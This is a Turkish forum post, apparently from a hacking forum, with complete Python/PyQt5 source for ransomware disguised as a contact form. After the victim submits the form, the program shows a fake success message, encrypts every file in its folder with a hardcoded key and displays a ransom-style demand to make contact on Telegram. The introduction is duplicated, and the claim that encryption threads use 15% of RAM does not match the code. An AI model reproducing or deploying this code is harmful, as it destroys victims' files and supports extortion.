Arkadaşlar Selamın Aleyküm.
Bu konuda Python ile Sinsi bir iletişim penceresi kodlayacağız.
Bu Pencere Kullanıcı Gerekli alanları doldurup butona tıkladığında, mesajın sözde başarılı şekilde gönderildiğine dair bir uyarı gösterecek ardından arkaplanda program bulunduğu dizinde ki bütün dosyaları şifreleyecek.
Şifreleme işlemi bittiğinde ise Bizimle İletişime Geçmen Gerekiyor içerikli bir uyarı penceresi gösteriyor.
Şifreleme işlemi yapılırken sistem Ram oranının %15'i kullanılarak iş parçacıkları görevlendiriliyor.
Hadi Bakalım ;
Sanal Makidan ekran görüntüsü alınırken siyah ekranda kalıyordu bende uğraşmadım. Siz deneyebilirsiniz sanal makinada isterseniz.
VT : VirusTotal
Bu konuda Python ile Sinsi bir iletişim penceresi kodlayacağız.
Bu Pencere Kullanıcı Gerekli alanları doldurup butona tıkladığında, mesajın sözde başarılı şekilde gönderildiğine dair bir uyarı gösterecek ardından arkaplanda program bulunduğu dizinde ki bütün dosyaları şifreleyecek.
Şifreleme işlemi bittiğinde ise Bizimle İletişime Geçmen Gerekiyor içerikli bir uyarı penceresi gösteriyor.
Şifreleme işlemi yapılırken sistem Ram oranının %15'i kullanılarak iş parçacıkları görevlendiriliyor.
Hadi Bakalım ;
Python:
import os
import sys
import threading
from PyQt5.QtWidgets import QApplication, QWidget, QLabel, QLineEdit, QVBoxLayout, QFormLayout, QPushButton, QTextEdit, QMessageBox
from PyQt5.QtGui import QPixmap
from PyQt5.QtCore import QCoreApplication
from cryptography.fernet import Fernet
class MyForm(QWidget):
def __init__(self):
super().__init__()
self.key = b'8J3pBvdf-gGFTsA0p1wj5YLCfqKuNfbNXFQGuzUKD0o='
self.cipher_suite = Fernet(self.key)
self.init_ui()
label_ad_soyad = QLabel('Ad-Soyad:', self)
self.edit_ad_soyad = QLineEdit(self)
self.edit_ad_soyad.setPlaceholderText('Adınız ve Soyadınızı Giriniz')
label_telefon = QLabel('Telefon Numarası:', self)
self.edit_telefon = QLineEdit(self)
self.edit_telefon.setPlaceholderText('Telefon Numaranızı Giriniz')
label_email = QLabel('E-Posta:', self)
self.edit_email = QLineEdit(self)
self.edit_email.setPlaceholderText('E-Posta Adresinizi Giriniz')
label_message = QLabel('Mesajınız:', self)
self.edit_message = QTextEdit(self)
self.edit_message.setPlaceholderText('Mesajınızı Giriniz')
btn_submit = QPushButton('Gönder', self)
btn_submit.clicked.connect(self.on_submit)
layout = QFormLayout()
layout.addRow(label_ad_soyad, self.edit_ad_soyad)
layout.addRow(label_telefon, self.edit_telefon)
layout.addRow(label_email, self.edit_email)
layout.addRow(label_message, self.edit_message)
layout.addWidget(btn_submit)
for label in [label_ad_soyad, label_telefon, label_email, label_message]:
label.setStyleSheet('background-color: rgba(255, 255, 255, 150);')
for edit_widget in [self.edit_ad_soyad, self.edit_telefon, self.edit_email, self.edit_message]:
edit_widget.setStyleSheet('background-color: rgba(255, 255, 255, 150);')
main_layout = QVBoxLayout(self)
main_layout.addLayout(layout)
self.setWindowTitle('İletişim Formu')
desktop = QCoreApplication.instance().desktop()
screen_rect = desktop.screenGeometry(desktop.primaryScreen())
self.setGeometry(
screen_rect.width() // 2 - 250,
screen_rect.height() // 2 - 250,
500,
500
)
self.show()
def on_submit(self):
ad_soyad = self.edit_ad_soyad.text()
telefon = self.edit_telefon.text()
email = self.edit_email.text()
message = self.edit_message.toPlainText()
if ad_soyad and telefon and email and message:
self.show_uyari_penceresi()
threading.Thread(target=self.sifrele_dosyalari).start()
else:
QMessageBox.warning(self, 'Hata', 'Lütfen tüm gerekli alanları doldurun.')
def sifrele_dosyalari(self):
for filename in os.listdir('.'):
if os.path.isfile(filename):
with open(filename, 'rb') as file:
plain_text = file.read()
cipher_text = self.cipher_suite.encrypt(plain_text)
with open(filename, 'wb') as file:
file.write(cipher_text)
def show_uyari_penceresi(self):
uyari_penceresi = QMessageBox(self)
uyari_penceresi.setIcon(QMessageBox.Information)
uyari_penceresi.setWindowTitle('Teşekkürler!')
uyari_penceresi.setText('İletişime geçtiğiniz için teşekkürler!')
uyari_penceresi.exec_()
uyari_penceresi_critical = QMessageBox(self)
uyari_penceresi_critical.setIcon(QMessageBox.Critical)
uyari_penceresi_critical.setWindowTitle('KRİTİK!')
uyari_penceresi_critical.setText('Bizimle İletişime Geçmen Gerekiyor !\nTelegram: felez_tr')
uyari_penceresi_critical.exec_()
if __name__ == '__main__':
app = QApplication(sys.argv)
form = MyForm()
sys.exit(app.exec_())
Sanal Makidan ekran görüntüsü alınırken siyah ekranda kalıyordu bende uğraşmadım. Siz deneyebilirsiniz sanal makinada isterseniz.
VT : VirusTotal
Son düzenleme: